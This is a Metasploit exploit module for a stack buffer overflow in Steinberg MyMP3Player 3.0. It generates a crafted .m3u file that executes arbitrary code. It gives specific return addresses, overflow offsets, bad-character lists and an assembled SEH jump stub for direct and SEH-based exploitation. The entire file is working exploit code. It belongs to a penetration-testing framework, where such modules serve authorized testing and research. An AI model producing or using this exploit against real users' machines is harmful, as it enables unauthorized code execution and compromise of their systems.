##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Steinberg MyMP3Player 3.0 Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Steinberg MyMP3Player == 3.0. When
        the application is used to open a specially crafted m3u file, a buffer overflow occurs
        allowing arbitrary code execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'n3w7u', # original
          'm_101'
        ],
      'References'     =>
        [
          [ 'OSVDB', '64580'],
          [ 'EDB', '11791' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => 'true',
        },
      'Payload'        =>
        {
          'Space'    => 900,
          'BadChars' => "\x00\x0a\x0d\x5c",
          'DisableNops'  => true,
          'PrependEncoder' => "\x81\xc4\xf0\xef\xff\xff"
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          [ 'Windows Universal', { 'Ret' => 0x0043bea3 } ],        # call ecx in My MP3.exe v3.0.0.67
          [ 'Windows Universal (SEH)', { 'Ret' => 0x00403e68 } ],  # p/p/r in My MP3.exe v3.0.0.67
          [ 'Windows XP SP3 French', { 'Ret' => 0x72c6170b } ], # seh return in msacm.drv
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Mar 18 2010',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
      ])

  end

  def exploit

    # direct ret overwrite at offset 1024
    # nseh overwrite at offset 1040
    ret_offset = 1024
    seh_offset = 1040

    # start with the payload
    m3u = payload.encoded

    if (target.name =~ /SEH/)
      m3u << rand_text_alphanumeric(seh_offset - m3u.length)
      # ensure bad,no-nul addr for ret (trigger SEH)
      m3u[ret_offset,4] = [0xc0010101 | rand(0xffffffff)].pack('V')

      # We utilize a small stub near the end of the buffer space to
      # continue to the real shellcode...
      # NOTE: the push is to avoid a badchar (0x5c)
      stub = <<-EOF
push ecx
sub esp,-0x1a8
ret
EOF
      stub = Metasm::Shellcode.assemble(Metasm::Ia32.new, stub).encode_string
      m3u[seh_offset - stub.length, stub.length] = stub

      # Jump back to the stub
      jmp2 = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + stub.length.to_s).encode_string
      seh = ''
      seh << jmp2
      seh << rand_text(2)
      seh << [target.ret].pack('V')
      m3u << seh
    else
      m3u << rand_text_alphanumeric(1024 - m3u.length)
      m3u << [target.ret].pack('V')
    end

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(m3u)

  end
end
